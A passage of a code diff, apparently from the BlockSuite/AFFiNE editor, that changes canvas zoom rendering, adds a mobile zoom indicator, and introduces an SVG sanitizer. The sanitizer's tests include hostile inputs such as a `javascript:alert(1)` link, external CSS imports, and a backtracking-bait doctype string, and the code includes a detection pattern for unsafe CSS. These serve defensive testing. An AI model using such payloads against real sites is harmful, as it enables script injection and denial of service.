"license": "MIT",
"dependencies": {
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
@@ -1,5 +1,10 @@
import {
getAffinePlaceholderFillColor,
getAffinePlaceholderStrokeColor,
inferColorSchemeFromThemeMode,
} from '@blocksuite/affine-shared/theme';
import type { EditorHost, GfxBlockComponent } from '@blocksuite/std';
import { type Viewport } from '@blocksuite/std/gfx';
import { getEffectiveDpr, type Viewport } from '@blocksuite/std/gfx';
import type { BlockModel } from '@blocksuite/store';
import { BlockLayoutHandlersIdentifier } from './layout/block-layout-provider';
@@ -10,9 +15,13 @@ import type {
ViewportLayoutTree,
} from './types';
export function syncCanvasSize(canvas: HTMLCanvasElement, host: HTMLElement) {
export function syncCanvasSize(
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom = 1
) {
const hostRect = host.getBoundingClientRect();
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(zoom);
canvas.style.position = 'absolute';
canvas.style.left = '0px';
canvas.style.top = '0px';
@@ -186,21 +195,21 @@ export function paintPlaceholder(
const ctx = canvas.getContext('2d');
if (!ctx || !layout) return;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(viewport.zoom);
const { overallRect } = layout;
const layoutViewCoord = viewport.toViewCoord(overallRect.x, overallRect.y);
const offsetX = layoutViewCoord[0];
const offsetY = layoutViewCoord[1];
const colors = [
'rgba(200, 200, 200, 0.7)',
'rgba(180, 180, 180, 0.7)',
'rgba(160, 160, 160, 0.7)',
];
const colorScheme = inferColorSchemeFromThemeMode(
document.documentElement.dataset.theme
);
const fillColor = getAffinePlaceholderFillColor(colorScheme);
const strokeColor = getAffinePlaceholderStrokeColor(colorScheme);
const paintNode = (node: BlockLayoutTreeNode, depth: number = 0) => {
const paintNode = (node: BlockLayoutTreeNode) => {
const { layout: nodeLayout } = node;
ctx.fillStyle = colors[depth % colors.length];
ctx.fillStyle = fillColor;
const rect = nodeLayout.rect;
const x = ((rect.x - overallRect.x) * viewport.zoom + offsetX) * dpr;
const y = ((rect.y - overallRect.y) * viewport.zoom + offsetY) * dpr;
@@ -209,12 +218,12 @@ export function paintPlaceholder(
ctx.fillRect(x, y, width, height);
if (width > 10 && height > 5) {
ctx.strokeStyle = 'rgba(150, 150, 150, 0.3)';
ctx.strokeStyle = strokeColor;
ctx.strokeRect(x, y, width, height);
}
if (node.children.length > 0) {
node.children.forEach(childNode => paintNode(childNode, depth + 1));
node.children.forEach(childNode => paintNode(childNode));
}
};
@@ -1,11 +1,14 @@
import type { Container } from '@blocksuite/global/di';
import { DisposableGroup } from '@blocksuite/global/disposable';
import { IS_IOS } from '@blocksuite/global/env';
import { ConfigExtensionFactory } from '@blocksuite/std';
import {
getEffectiveDpr,
type GfxController,
GfxExtension,
GfxExtensionIdentifier,
type GfxViewportElement,
viewportRuntimeConfig,
} from '@blocksuite/std/gfx';
import {
BehaviorSubject,
@@ -34,6 +37,26 @@ import type {
} from './types';
const debug = false; // Toggle for debug logs
const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
export function shouldPreferBitmapCacheDuringLowZoomGesture(params: {
isIOS: boolean;
zoom: number;
hasBitmap: boolean;
}) {
return (
params.isIOS &&
params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
params.hasBitmap
);
}
export function shouldIdleTurboBlocksDuringZooming(params: {
isIOS: boolean;
zoom: number;
}) {
return !(params.isIOS && params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD);
}
const defaultOptions = {
zoomThreshold: 1, // With high enough zoom, fallback to DOM rendering
@@ -147,7 +170,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
this.viewport.elementReady.pipe(take(1)).subscribe(element => {
this.viewportElement = element;
syncCanvasSize(this.canvas, this.std.host);
syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
this.state$.next('pending');
this.disposables.add(
@@ -156,6 +179,12 @@ export class ViewportTurboRendererExtension extends GfxExtension {
this.disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this.refresh().catch(console.error);
})
);
@@ -166,7 +195,9 @@ export class ViewportTurboRendererExtension extends GfxExtension {
tap(isZooming => {
this.debugLog(`Zooming signal changed: ${isZooming}`);
if (isZooming) {
this.state$.next('zooming');
if (!this.viewport.SKIP_REFRESH_DURING_GESTURE) {
this.state$.next('zooming');
}
} else if (this.state$.value === 'zooming') {
this.clearOptimizedBlocks();
this.isRecentlyZoomed$.next(true);
@@ -183,6 +214,45 @@ export class ViewportTurboRendererExtension extends GfxExtension {
)
.subscribe()
);
// Post-gesture refresh for SKIP mode
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelRefresh = () => {
if (pendingTimerId !== null) {
clearTimeout(pendingTimerId);
pendingTimerId = null;
}
};
const scheduleRefresh = () => {
cancelRefresh();
pendingTimerId = setTimeout(() => {
pendingTimerId = null;
if (
!this.viewport.panning$.value &&
!this.viewport.zooming$.value
) {
this.refresh().catch(console.error);
}
}, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
};
this.disposables.add(
this.viewport.panning$.subscribe(panning => {
if (panning) cancelRefresh();
else if (!this.viewport.zooming$.value) scheduleRefresh();
})
);
this.disposables.add(
this.viewport.zooming$.subscribe(zooming => {
if (zooming) cancelRefresh();
else if (!this.viewport.panning$.value) scheduleRefresh();
})
);
this.disposables.add({ dispose: cancelRefresh });
}
});
// Handle selection and block updates
@@ -235,10 +305,22 @@ export class ViewportTurboRendererExtension extends GfxExtension {
nextState = 'pending';
this.clearOptimizedBlocks();
} else if (this.isZooming()) {
this.debugLog('Currently zooming, using placeholder rendering');
nextState = 'zooming';
this.paintPlaceholder();
this.updateOptimizedBlocks();
if (
shouldPreferBitmapCacheDuringLowZoomGesture({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
hasBitmap: !!this.bitmap,
})
) {
this.debugLog('Currently zooming, reusing cached bitmap');
this.clearOptimizedBlocks();
this.drawCachedBitmap();
} else {
this.debugLog('Currently zooming, using placeholder rendering');
this.paintPlaceholder();
this.updateOptimizedBlocks();
}
} else if (this.canUseBitmapCache()) {
this.debugLog('Using cached bitmap');
nextState = 'ready';
@@ -286,7 +368,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
}
const layout = this.layoutCache;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(this.viewport.zoom);
const currentVersion = this.layoutVersion;
this.debugLog(`Requesting bitmap painting (version=${currentVersion})`);
@@ -368,12 +450,14 @@ export class ViewportTurboRendererExtension extends GfxExtension {
layout.overallRect.y
);
const dpr = getEffectiveDpr(this.viewport.zoom);
ctx.drawImage(
bitmap,
layoutViewCoord[0] * window.devicePixelRatio,
layoutViewCoord[1] * window.devicePixelRatio,
layout.overallRect.w * window.devicePixelRatio * this.viewport.zoom,
layout.overallRect.h * window.devicePixelRatio * this.viewport.zoom
layoutViewCoord[0] * dpr,
layoutViewCoord[1] * dpr,
layout.overallRect.w * dpr * this.viewport.zoom,
layout.overallRect.h * dpr * this.viewport.zoom
);
this.debugLog('Bitmap drawn to canvas');
@@ -389,6 +473,16 @@ export class ViewportTurboRendererExtension extends GfxExtension {
private updateOptimizedBlocks() {
if (!this.canOptimize()) return;
if (
!shouldIdleTurboBlocksDuringZooming({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
})
) {
this.clearOptimizedBlocks();
return;
}
requestAnimationFrame(() => {
if (!this.viewportElement || !this.layoutCache) return;
const blockElements = this.viewportElement.getModelsInViewport();
@@ -416,7 +510,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
private handleResize() {
this.debugLog('Container resized, syncing canvas size');
syncCanvasSize(this.canvas, this.std.host);
syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
this.invalidate();
this.refresh$.next();
}
@@ -7,6 +7,7 @@
},
"include": ["./src"],
"references": [
{ "path": "../../shared" },
{ "path": "../../../framework/global" },
{ "path": "../../../framework/std" },
{ "path": "../../../framework/store" }
@@ -160,7 +160,6 @@ export class AffineLink extends WithDisposable(ShadowlessElement) {
const linkStyle = {
color: 'var(--affine-link-color)',
fill: 'var(--affine-link-color)',
'text-decoration': 'none',
cursor: 'pointer',
};
+2 -1
View File
@@ -23,7 +23,7 @@
"@types/lodash-es": "^4.17.12",
"@types/mdast": "^4.0.4",
"bytes": "^3.1.2",
"dompurify": "^3.3.0",
"dompurify": "^3.4.11",
"fractional-indexing": "^3.2.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.23",
@@ -46,6 +46,7 @@
"remark-parse": "^11.0.0",
"remark-stringify": "^11.0.0",
"rxjs": "^7.8.2",
"tldts": "^7.0.19",
"ts-pattern": "^5.1.0",
"unified": "^11.0.5",
"unist-util-visit": "^5.0.0",
@@ -0,0 +1,191 @@
/**
* @vitest-environment happy-dom
*/
import { describe, expect, test } from 'vitest';
import { sanitizeSvg } from '../../utils/svg.js';
type HappyDOMWindow = Window & {
happyDOM: {
setURL: (url: string) => void;
};
};
function setLocation(url: string) {
(window as unknown as HappyDOMWindow).happyDOM.setURL(url);
}
function svgDataUrl(svg: string) {
const bytes = new TextEncoder().encode(svg);
let binary = '';
bytes.forEach(byte => {
binary += String.fromCharCode(byte);
});
return `data:image/svg+xml;base64,${btoa(binary)}`;
}
function decodeSvgDataUrl(dataUrl: string) {
const base64 = dataUrl.split(',')[1];
return new TextDecoder().decode(
Uint8Array.from(atob(base64), char => char.charCodeAt(0))
);
}
describe('sanitizeSvg', () => {
test('wraps DOMPurify svg fragments back into an svg root', () => {
const sanitized = sanitizeSvg(
'<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100"></rect></svg>'
);
expect(sanitized).toContain('<svg');
expect(sanitized).toContain('width="100"');
expect(sanitized).toContain('<rect');
});
test('accepts svg documents with xml and doctype prefixes', () => {
const sanitized = sanitizeSvg(`<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<rect width="100" height="100"></rect>
</svg>`);
expect(sanitized).toContain('<svg');
expect(sanitized).toContain('width="100"');
expect(sanitized).toContain('<rect');
expect(sanitized).not.toContain('<!DOCTYPE');
});
test('rejects non-svg roots', () => {
expect(sanitizeSvg('<div><svg></svg></div>')).toBe('');
});
test('rejects malformed doctype prefixes without regexp backtracking', () => {
const maliciousPrefix = '<!doctype' + '?><!doctype'.repeat(10_000);
expect(sanitizeSvg(`${maliciousPrefix}<div></div>`)).toBe('');
});
test('keeps internal glyph references and safe image data urls', () => {
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<defs><path id="glyph-a" d="M0 0h10v10z"></path></defs>
<use href="#glyph-a"></use>
<use xlink:href="#glyph-a"></use>
<a xlink:href="https://typst.app/docs/tutorial"><path d="M0 0h10v10z"></path></a>
<image href="data:image/png;base64,AAAA" width="10" height="10"></image>
</svg>
`);
expect(sanitized).toContain('href="#glyph-a"');
expect(sanitized).toContain('xlink:href="#glyph-a"');
expect(sanitized).toContain('xlink:href="https://typst.app/docs/tutorial"');
expect(sanitized).toContain('data:image/png;base64,AAAA');
});
test('removes external glyph references and unsafe css', () => {
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<style>@import "https://example.com/style.css"; .a { fill: #000; }</style>
<use href="https://example.com/glyph.svg#x"></use>
<use xlink:href="https://example.com/glyph.svg#x"></use>
<a xlink:href="javascript:alert(1)"><path d="M0 0h10v10z"></path></a>
<image href="https://example.com/image.png" width="10" height="10"></image>
<path style="fill: url(https://example.com/pattern.svg#x)" d="M0 0h10v10z"></path>
</svg>
`);
expect(sanitized).not.toContain('https://example.com');
expect(sanitized).not.toContain('javascript:');
expect(sanitized).not.toContain('@import');
expect(sanitized).not.toContain('url(');
});
test('removes links sharing the current registrable domain', () => {
setLocation('https://sub.example.co.uk/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="https://sub.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
<a href="https://other.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
<a xlink:href="https://example.com/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('https://sub.example.co.uk/docs');
expect(sanitized).not.toContain('https://other.example.co.uk/docs');
expect(sanitized).toContain('https://example.com/docs');
});
test('keeps private suffix sibling domains separate', () => {
setLocation('https://foo.github.io/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="https://foo.github.io/docs"><path d="M0 0h10v10z"></path></a>
<a href="https://bar.github.io/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('https://foo.github.io/docs');
expect(sanitized).toContain('https://bar.github.io/docs');
});
test('handles local hostnames by exact hostname', () => {
setLocation('http://localhost:3000/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="http://localhost:8080/docs"><path d="M0 0h10v10z"></path></a>
<a href="http://share.localhost/docs"><path d="M0 0h10v10z"></path></a>
<a href="http://127.0.0.1/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('http://localhost:8080/docs');
expect(sanitized).toContain('http://share.localhost/docs');
expect(sanitized).toContain('http://127.0.0.1/docs');
});
test('recursively sanitizes svg images', () => {
const nestedSvg = svgDataUrl(
'<svg xmlns="http://www.w3.org/2000/svg"><defs><path id="glyph-a" d="M0 0h10v10z"></path></defs><use href="#glyph-a"></use><use href="https://example.com/glyph.svg#x"></use></svg>'
);
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<image href="${nestedSvg}" width="10" height="10"></image>
</svg>
`);
const sanitizedImageHref = sanitized.match(/href="([^"]+)"/)?.[1];
expect(sanitizedImageHref).toMatch(/^data:image\/svg\+xml;base64,/);
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('<svg');
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('#glyph-a');
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).not.toContain(
'https://example.com'
);
});
test('removes svg images nested deeper than two levels', () => {
const thirdLevelSvg = svgDataUrl(
'<svg xmlns="http://www.w3.org/2000/svg"><rect width="10" height="10"></rect></svg>'
);
const secondLevelSvg = svgDataUrl(
`<svg xmlns="http://www.w3.org/2000/svg"><image href="${thirdLevelSvg}"></image></svg>`
);
const firstLevelSvg = svgDataUrl(
`<svg xmlns="http://www.w3.org/2000/svg"><image href="${secondLevelSvg}"></image></svg>`
);
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<image href="${firstLevelSvg}"></image>
</svg>
`);
const firstLevelHref = sanitized.match(/href="([^"]+)"/)?.[1];
const firstLevelSanitizedSvg = decodeSvgDataUrl(firstLevelHref ?? '');
const secondLevelHref = firstLevelSanitizedSvg.match(/href="([^"]+)"/)?.[1];
const secondLevelSanitizedSvg = decodeSvgDataUrl(secondLevelHref ?? '');
expect(firstLevelSanitizedSvg).toContain('<image');
expect(secondLevelSanitizedSvg).not.toContain('<image');
});
});
@@ -20,7 +20,6 @@ import {
type ToSliceSnapshotPayload,
type Transformer,
} from '@blocksuite/store';
import DOMPurify from 'dompurify';
import pdfMake from 'pdfmake/build/pdfmake';
import type {
Content,
@@ -29,6 +28,7 @@ import type {
} from 'pdfmake/interfaces';
import { getNumberPrefix } from '../../utils';
import { sanitizeSvg } from '../../utils/svg.js';
import { resolveCssVariable } from './css-utils.js';
import { extractTextWithInline } from './delta-converter.js';
import {
@@ -746,9 +746,8 @@ export class PdfAdapter extends BaseAdapter<PdfAdapterFile> {
const trimmedText = text.trim();
if (trimmedText.startsWith('<svg')) {
const svgContent = DOMPurify.sanitize(trimmedText, {
USE_PROFILES: { svg: true },
});
const svgContent = sanitizeSvg(trimmedText);
if (!svgContent) throw new Error('Invalid SVG image asset');
const svgDimensions = extractSvgDimensions(svgContent);
const dimensions = calculateImageDimensions(
blockWidth,
@@ -129,32 +129,35 @@ export const getSelectedBlocksCommand: Command<
dirtyResult = dirtyResult.filter(ctx.filter);
}
const getModelPath = (el: BlockComponent) => {
const path: number[] = [];
let model = el.model;
while (model) {
const parent = ctx.std.store.getParent(model.id);
if (!parent) break;
path.unshift(parent.children.findIndex(child => child.id === model.id));
model = parent;
}
return path;
};
const compareByModelPath = (a: BlockComponent, b: BlockComponent) => {
if (a === b) return 0;
const aPath = getModelPath(a);
const bPath = getModelPath(b);
const length = Math.min(aPath.length, bPath.length);
for (let i = 0; i < length; i++) {
const diff = aPath[i] - bPath[i];
if (diff !== 0) return diff;
}
return aPath.length - bPath.length;
};
// remove duplicate elements
const result: BlockComponent[] = dirtyResult
.filter((el, index) => dirtyResult.indexOf(el) === index)
// sort by document position
.sort((a, b) => {
if (a === b) {
return 0;
}
const position = a.compareDocumentPosition(b);
if (
position & Node.DOCUMENT_POSITION_FOLLOWING ||
position & Node.DOCUMENT_POSITION_CONTAINED_BY
) {
return -1;
}
if (
position & Node.DOCUMENT_POSITION_PRECEDING ||
position & Node.DOCUMENT_POSITION_CONTAINS
) {
return 1;
}
return 0;
});
// sort by model tree position, which is the order used for paste/export
.sort(compareByModelPath);
if (result.length === 0) return;
@@ -1 +1,2 @@
export * from './css-variables.js';
export * from './placeholder-style.js';
@@ -0,0 +1,19 @@
import { ColorScheme } from '@blocksuite/affine-model';
export function inferColorSchemeFromThemeMode(
themeMode?: string | null
): ColorScheme {
return themeMode === 'dark' ? ColorScheme.Dark : ColorScheme.Light;
}
export function getAffinePlaceholderFillColor(colorScheme: ColorScheme) {
return colorScheme === ColorScheme.Dark
? 'rgba(255, 255, 255, 0.08)'
: 'rgba(0, 0, 0, 0.04)';
}
export function getAffinePlaceholderStrokeColor(colorScheme: ColorScheme) {
return colorScheme === ColorScheme.Dark
? 'rgba(255, 255, 255, 0.04)'
: 'rgba(0, 0, 0, 0.02)';
}
@@ -23,6 +23,7 @@ export * from './reordering';
export * from './safe-html';
export * from './signal';
export * from './string';
export * from './svg';
export * from './title';
export * from './url';
export * from './virtual-padding';
+294
View File
@@ -0,0 +1,294 @@
import type { Config } from 'dompurify';
import DOMPurify from 'dompurify';
import { parse } from 'tldts';
type SanitizeSvgOptions = {
svg?: Config;
foreignObjectHtml?: Config;
};
const MAX_NESTED_SVG_IMAGE_DEPTH = 2;
const DEFAULT_SVG_SANITIZE_CONFIG: Config = {
USE_PROFILES: { svg: true },
ADD_TAGS: ['use'],
ADD_ATTR: ['href', 'xlink:href', 'class', 'style', 'id'],
};
const DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG: Config = {
USE_PROFILES: { html: true },
};
const SAFE_LINK_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
const SVG_DATA_URL_PATTERN =
/^data:image\/svg\+xml(?:;charset=[^;,]+)?(?<base64>;base64)?,(?<data>[\s\S]*)$/i;
const SAFE_IMAGE_DATA_URL_PATTERN =
/^data:image\/(?:png|jpe?g|gif|webp|svg\+xml);base64,[a-z0-9+/=]+$/i;
const UNSAFE_CSS_PATTERN =
/(?:url\s*\(|@import|javascript\s*:|expression\s*\(|-moz-binding)/i;
const SVG_ROOT_ATTRIBUTES = [
'class',
'data-height',
'data-width',
'height',
'preserveAspectRatio',
'viewBox',
'width',
'xmlns',
'xmlns:h5',
'xmlns:xlink',
];
function getAttribute(element: Element, attribute: string) {
return (
element.getAttribute(attribute) ??
element.getAttribute(attribute.toLowerCase())
);
}
function getSvgSanitizeConfig(options?: SanitizeSvgOptions) {
return {
...DEFAULT_SVG_SANITIZE_CONFIG,
...options?.svg,
};
}
function getForeignObjectHtmlSanitizeConfig(options?: SanitizeSvgOptions) {
return {
...DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG,
...options?.foreignObjectHtml,
};
}
function isXmlWhitespace(char: string) {
return (
char === ' ' ||
char === '\n' ||
char === '\r' ||
char === '\t' ||
char === '\f'
);
}
function skipXmlWhitespace(value: string, index: number) {
while (index < value.length && isXmlWhitespace(value[index])) {
index++;
}
return index;
}
function startsWithIgnoreCase(value: string, search: string, index: number) {
return value.slice(index, index + search.length).toLowerCase() === search;
}
function getSvgRootStartIndex(value: string) {
let index = skipXmlWhitespace(value, 0);
if (startsWithIgnoreCase(value, '<?xml', index)) {
const declarationEnd = value.indexOf('?>', index + 5);
if (declarationEnd === -1) return -1;
index = skipXmlWhitespace(value, declarationEnd + 2);
}
if (startsWithIgnoreCase(value, '<!doctype', index)) {
const doctypeEnd = value.indexOf('>', index + 9);
if (doctypeEnd === -1) return -1;
index = skipXmlWhitespace(value, doctypeEnd + 1);
}
if (!startsWithIgnoreCase(value, '<svg', index)) return -1;
const next = value[index + 4];
return next === '>' || (next !== undefined && isXmlWhitespace(next))
? index
: -1;
}
function hasSvgRoot(value: string) {
return getSvgRootStartIndex(value) !== -1;
}
function getOriginalSvgRoot(svg: string, parser: DOMParser) {
const root = parser.parseFromString(svg, 'image/svg+xml').documentElement;
if (root?.tagName.toLowerCase() === 'svg') {
return root;
}
if (!hasSvgRoot(svg)) {
return null;
}
return parser.parseFromString(svg, 'text/html').querySelector('svg');
}
function ensureSvgRoot(
originalRoot: Element | null,
sanitized: string,
parser: DOMParser
) {
if (hasSvgRoot(sanitized)) {
const sanitizedDoc = parser.parseFromString(sanitized, 'image/svg+xml');
const sanitizedRoot = sanitizedDoc.documentElement;
return sanitizedRoot?.tagName.toLowerCase() === 'svg'
? sanitizedRoot
: null;
}
const svgDoc = parser.parseFromString('<svg></svg>', 'image/svg+xml');
const svgRoot = svgDoc.documentElement;
SVG_ROOT_ATTRIBUTES.forEach(attribute => {
const value = originalRoot ? getAttribute(originalRoot, attribute) : null;
if (value) {
svgRoot.setAttribute(attribute, value);
}
});
svgRoot.innerHTML = sanitized;
return svgRoot;
}
function sanitizeForeignObjects(
root: ParentNode,
options?: SanitizeSvgOptions
) {
root.querySelectorAll('foreignObject, foreignobject').forEach(element => {
element.innerHTML = DOMPurify.sanitize(
element.innerHTML,
getForeignObjectHtmlSanitizeConfig(options)
);
});
}
function getSiteDomain(hostname: string) {
return (
parse(hostname, { allowPrivateDomains: true }).domain ??
hostname.toLowerCase()
);
}
function isSameSiteDomain(url: URL) {
if (typeof location === 'undefined') return false;
return getSiteDomain(url.hostname) === getSiteDomain(location.hostname);
}
function isSafeLinkUrl(value: string) {
try {
const url = new URL(value);
return SAFE_LINK_PROTOCOLS.has(url.protocol) && !isSameSiteDomain(url);
} catch {
return false;
}
}
function isSafeHref(element: Element, value: string) {
if (value.startsWith('#')) return true;
const tagName = element.tagName.toLowerCase();
if (tagName === 'use') return false;
if (tagName === 'image') return SAFE_IMAGE_DATA_URL_PATTERN.test(value);
if (tagName === 'a') return isSafeLinkUrl(value);
return false;
}
function decodeSvgDataUrl(value: string) {
const groups = value.match(SVG_DATA_URL_PATTERN)?.groups;
if (!groups) return null;
try {
if (groups.base64) {
return new TextDecoder().decode(
Uint8Array.from(atob(groups.data), char => char.charCodeAt(0))
);
}
return decodeURIComponent(groups.data);
} catch {
return null;
}
}
function encodeSvgDataUrl(svg: string) {
const binary = Array.from(new TextEncoder().encode(svg), byte =>
String.fromCharCode(byte)
).join('');
return `data:image/svg+xml;base64,${btoa(binary)}`;
}
function getHrefAttributes(element: Element) {
return Array.from(element.attributes).filter(
attribute => attribute.name === 'href' || attribute.name === 'xlink:href'
);
}
function tightenSvgTree(
root: ParentNode,
options: SanitizeSvgOptions | undefined,
depth: number
) {
root.querySelectorAll('*').forEach(element => {
getHrefAttributes(element).forEach(attribute => {
const href = attribute.value.trim();
const nestedSvg =
element.tagName.toLowerCase() === 'image'
? decodeSvgDataUrl(href)
: null;
if (nestedSvg !== null) {
if (depth < MAX_NESTED_SVG_IMAGE_DEPTH) {
const sanitized = sanitizeSvgWithDepth(nestedSvg, options, depth + 1);
if (sanitized) {
element.setAttribute(attribute.name, encodeSvgDataUrl(sanitized));
return;
}
}
element.remove();
} else if (!isSafeHref(element, href)) {
element.removeAttribute(attribute.name);
}
});
const style = element.getAttribute('style');
if (style && UNSAFE_CSS_PATTERN.test(style)) {
element.removeAttribute('style');
}
if (
element.tagName.toLowerCase() === 'style' &&
UNSAFE_CSS_PATTERN.test(element.textContent ?? '')
) {
element.remove();
}
});
}
export function sanitizeSvg(svg: string, options?: SanitizeSvgOptions): string {
return sanitizeSvgWithDepth(svg, options, 0);
}
function sanitizeSvgWithDepth(
svg: string,
options: SanitizeSvgOptions | undefined,
depth: number
): string {
const svgConfig = getSvgSanitizeConfig(options);
if (
typeof DOMParser === 'undefined' ||
typeof XMLSerializer === 'undefined'
) {
const sanitized = DOMPurify.sanitize(svg, svgConfig);
if (typeof sanitized !== 'string' || !hasSvgRoot(sanitized)) {
return '';
}
return sanitized.trim();
}
const parser = new DOMParser();
const originalRoot = getOriginalSvgRoot(svg, parser);
if (!originalRoot) return '';
const sanitized = DOMPurify.sanitize(svg, svgConfig);
if (typeof sanitized !== 'string') return '';
const sanitizedRoot = ensureSvgRoot(originalRoot, sanitized, parser);
if (!sanitizedRoot) return '';
sanitizeForeignObjects(sanitizedRoot, options);
tightenSvgTree(sanitizedRoot, options, depth);
return new XMLSerializer().serializeToString(sanitizedRoot).trim();
}
@@ -2,12 +2,14 @@ import {
AFFINE_EDGELESS_ZOOM_TOOLBAR_WIDGET,
AffineEdgelessZoomToolbarWidget,
} from '.';
import { MobileZoomRuler } from './mobile-zoom-ruler';
import { ZoomBarToggleButton } from './zoom-bar-toggle-button';
import { EdgelessZoomToolbar } from './zoom-toolbar';
export function effects() {
customElements.define('edgeless-zoom-toolbar', EdgelessZoomToolbar);
customElements.define('zoom-bar-toggle-button', ZoomBarToggleButton);
customElements.define('mobile-zoom-ruler', MobileZoomRuler);
customElements.define(
AFFINE_EDGELESS_ZOOM_TOOLBAR_WIDGET,
AffineEdgelessZoomToolbarWidget
@@ -1,5 +1,6 @@
import { EdgelessLegacySlotIdentifier } from '@blocksuite/affine-block-surface';
import type { RootBlockModel } from '@blocksuite/affine-model';
import { IS_MOBILE } from '@blocksuite/global/env';
import { WidgetComponent, WidgetViewExtension } from '@blocksuite/std';
import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
import { effect } from '@preact/signals-core';
@@ -14,15 +15,20 @@ export class AffineEdgelessZoomToolbarWidget extends WidgetComponent<RootBlockMo
static override styles = css`
:host {
position: absolute;
bottom: 20px;
bottom: var(--affine-edgeless-zoom-toolbar-bottom, 20px);
left: 12px;
z-index: var(--affine-z-index-popover);
display: flex;
justify-content: center;
pointer-events: none;
-webkit-user-select: none;
user-select: none;
}
mobile-zoom-ruler {
pointer-events: auto;
}
@container viewport (width <= 1200px) {
edgeless-zoom-toolbar {
display: none;
@@ -73,10 +79,14 @@ export class AffineEdgelessZoomToolbarWidget extends WidgetComponent<RootBlockMo
}
override render() {
if (this._hide || !this.edgeless) {
if (this._hide) {
return nothing;
}
if (IS_MOBILE) {
return html`<mobile-zoom-ruler .std=${this.std}></mobile-zoom-ruler>`;
}
return html`
<edgeless-zoom-toolbar .std=${this.std}></edgeless-zoom-toolbar>
<zoom-bar-toggle-button .std=${this.std}></zoom-bar-toggle-button>
@@ -0,0 +1,139 @@
import { stopPropagation } from '@blocksuite/affine-shared/utils';
import { WithDisposable } from '@blocksuite/global/lit';
import { ViewBarIcon } from '@blocksuite/icons/lit';
import type { BlockStdScope } from '@blocksuite/std';
import { GfxControllerIdentifier } from '@blocksuite/std/gfx';
import { baseTheme } from '@toeverything/theme';
import { css, html, LitElement, unsafeCSS } from 'lit';
import { property } from 'lit/decorators.js';
/**
* Compact zoom indicator for narrow / mobile edgeless viewports.
* Shows the live zoom percentage and a fit-to-screen action in a pill HUD
* anchored to the bottom-left of the canvas.
*/
export class MobileZoomRuler extends WithDisposable(LitElement) {
static override styles = css`
:host {
display: flex;
pointer-events: auto;
font-family: ${unsafeCSS(baseTheme.fontSansFamily)};
}
.zoom-pill {
display: flex;
align-items: center;
height: 32px;
background: var(--affine-background-overlay-panel-color);
border: 1px solid var(--affine-border-color);
border-radius: 999px;
box-shadow: var(--affine-shadow-1);
overflow: hidden;
}
.zoom-label {
display: flex;
align-items: center;
justify-content: center;
min-width: 44px;
padding: 0 12px;
font-size: 12px;
font-weight: 500;
line-height: 1;
color: var(--affine-text-secondary-color);
white-space: nowrap;
user-select: none;
}
.divider {
width: 1px;
height: 16px;
background: var(--affine-border-color);
flex-shrink: 0;
}
.fit-button {
display: flex;
align-items: center;
justify-content: center;
width: 36px;
height: 100%;
padding: 0;
border: none;
background: transparent;
color: var(--affine-icon-color);
cursor: pointer;
}
.fit-button:hover:not(:disabled) {
background: var(--affine-hover-color);
color: var(--affine-primary-color);
}
.fit-button:disabled {
cursor: not-allowed;
color: var(--affine-text-disable-color);
}
.fit-button svg {
width: 20px;
height: 20px;
}
`;
get gfx() {
return this.std.get(GfxControllerIdentifier);
}
get viewport() {
return this.gfx.viewport;
}
get zoom() {
if (!this.viewport) {
return 1;
}
return this.viewport.zoom;
}
override firstUpdated() {
const { disposables } = this;
const viewport = this.viewport;
if (!viewport) {
return;
}
disposables.add(
viewport.viewportUpdated.subscribe(() => this.requestUpdate())
);
